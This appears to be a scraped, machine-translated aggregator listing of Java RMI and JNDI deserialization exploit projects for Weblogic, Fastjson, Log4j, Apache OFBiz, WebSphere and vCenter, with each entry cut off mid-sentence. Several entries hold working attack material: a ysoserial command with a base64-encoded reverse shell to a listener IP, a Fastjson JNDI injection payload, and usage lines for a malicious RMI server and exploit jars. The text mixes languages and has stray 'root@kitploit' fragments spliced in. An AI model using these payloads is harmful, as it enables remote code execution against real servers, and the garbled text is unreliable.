Jmeter-CVE-2018-1297-

Jmeter RMI Deserialisierungs-Schwachstelle zur Befehlsausführung CVE-2018-1297 Apache JMeter ist eine Open-Source-Software-Suite, die von der American Apache Software Foundation in Java für Stresstests und Leistungstests geschrieben wurde. Die Versionen 2.x und 3.x enthalten eine...

Fastjson-1.2.47-rce

Fastjson-1.2.47-rce version1.2.51 Remote-Code-Execution 1.2.24 "b":"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true ​ Unbekannte Version zwischen 1.2.24 und 1.2.41...

fastjson-RCE

Reproduktion der fastjson-v1.2.47-RCE-Sicherheitslücke fastjson-1.2.47 == Ressourcen-Download: root@kitploit: 下载 http://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.47/ 文档 https://github.com/alibaba/fastjson/wiki/%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98 源码...

WebSphere-WSIF-gadget

WSIF Gadget für WebSphere CVE-2020-4464 / CVE-2020-4450 Dies basiert auf den hervorragenden Blogbeiträgen von ZDI ursprünglicher Bericht von @tint0: https://www.thezdi.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere...

CVE-2018-3191

CVE-2018-3191 CVE-2018-3191 Reverse Shell Lokale IP: 172.16.38.1 Weblogic: 172.16.38.174:7001 1、 Lokale Ausführung java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' Dann...

CVE-2021-44228-Apache-Log4j-Rce

Utilizzo: 1. Esecuzione di RMIServer 2. Esecuzione di Main...

SimpleRmiDiscoverer

SimpleRmiDiscoverer Semplice strumento di scansione JMX RMI Full Code: https://github.com/marcin-wolak/SimpleRmiDiscoverer/blob/master/SimpleRmiDiscoverer.java The tool offers the following options for exposed Java JMX: Extracting JMX endpoint IP/Name and TCP port from RMI Registry with -d,...

CVE-2021-44228

CVE-2021-44228 Penso che questa storia sia più pratica piantochristophetd/log4shell-vulnerable-app Poiché ho indagato solo per interesse e d'impulso, ritengo che ci possano essere parti vaghe o errori. Per favore, procedete a vostro rischio e pericolo. Creare l'ambiente di riproduzione. Dovrebbe...

CVE-2021-2394

CVE-2021-2394 POC di CVE-2021-2394 Disclaimer Il progetto è destinato esclusivamente all'apprendimento; qualsiasi conseguenza o perdita, diretta o indiretta, causata da test non autorizzati, è di esclusiva responsabilità dell'utente stesso. Note Il POC invia i pacchetti tramite IIOP; aggiungere l...

CVE-2018-3191

Verwendung: java -jar weblogic-spring-jndi.jar Beispiel: java -jar weblogic-spring-jndi.jar rmi://:1099/Object Hinweis: weblogic-spring-jndi-12.2.1.3.jar für weblogic: 12.2.1.3 weblogic-spring-jndi-10.3.6.0.jar für weblogic: root@kitploit: 10.3.6.0 12.2.1.0 12.1.3.0 12.2.1.1...

cve-2021-21985_exp

cve-2021-21985 exploit 0x01 Punto di vulnerabilità Analisi disponibile su: https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985?referrer=homerapid7-analysis 0x02 Exploit Ristruttura gli oggetti bean per ottenere RCE. Elenco dei bean: root@kitploit: localizedMessageBundle vsanWorkerThreadFactor...

rmiscout

Descrizione RMIScout consente attacchi con wordlist e brute force contro interfacce Java RMI esposte per indovinare in modo sicuro le firme dei metodi senza invocarli. Supporta molteplici protocolli Java RMI, l'invocazione di metodi e lo sfruttamento. Panoramica delle funzionalità Supporta...

cve-2021-44228--spring-hibernate

CVE-2021-44228 POC - Spring / Hibernate Questo POC usa Spring / Hibernate, tuttavia un approccio simile di rmi - deserializzazione potrebbe essere usato per innescare qualsiasi vulnerabilità di deserializzazione TL;DR root@kitploit: $ docker-compose up $ curl -X POST -H 'Content-Type: text/plain'...

CVE-2021-26295-Apache-OFBiz

CVE-2021-26295-Apache-OFBiz CVE-2021-26295 Apache OFBiz RMI-Deserialisierungs-POC ysoserial.jar muss in das Verzeichnis gelegt werden, und es darf keine hohe Java-Version verwendet werden...

CVE_2020_2546

Twitter: @Hktalent3135773 1. Exploit RCE do Weblogic CVE20202546 CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic RCE T3 payload exploit poc python3 2. Exploit GIOP + send bind CVE-2020-2555, CVE-2019-2888, CVE-2019-2888 ou outros GIOP + send jta rmi ou...

Weblogic-CVE-2020-2551-To-Internet

Weblogic-CVE-2020-2551-To-Internet POC per CVE-2020-2551 da utilizzare su Internet POC di test utilizzabile per test su Internet python CVE-2020-2551.py HOST IP Tentativo di modifica del codebase per il caricamento remoto delle classi fallito python CVE-2020-TEST.py HOST IP Breve discussione sull...

evil-rmi-server

evil-rmi-server Ein böswilliger RMI-Server, der einen beliebigen Befehl ausführen kann. Kann für CVE-2021-44228 in einem lokalen Privesc-Szenario nützlich sein. Erstellen ./gradlew bootJar Ausführen root@kitploit: Usage: java -jar build/libs/evilRMIServer-1.0-SNAPSHOT.jar -hV -p= An evil RMI Serv...

CVE-2018-2893

CVE-2018-2893 Weblogic CVE-2018-2893 Enjoy Testumgebung - Docker The Docker In Here! https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2018-2628/README.md Ps: Da es extern einen RMI-Remote-Server gibt, ist es einfach, eine Shell zu erhalten; wenn Sie sich im internen Netzwerk befinden,...

CVE-2022-29063

CVE-2022-29063: Java-Deserialisierung über RMI-Verbindung in Apache OfBiz Das OfBiz-Solr-Plugin ist standardmäßig so konfiguriert, dass es automatisch eine RMI-Anfrage an localhost, Port 1099, sendet. Indem ein Angreifer einen bösartigen RMI-Server auf localhost hostet, kann er dieses Verhalten...

CVE-2018-3245

CVE-2018-3245 Schritt 1 java -jar ysoserial-cve-2018-3245.jar root@kitploit: Usage: java -jar ysoserial-cve-2018-3245.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ CVE201828931 @mbechler CVE201828932 @mbechler CVE201828933 @mbechler...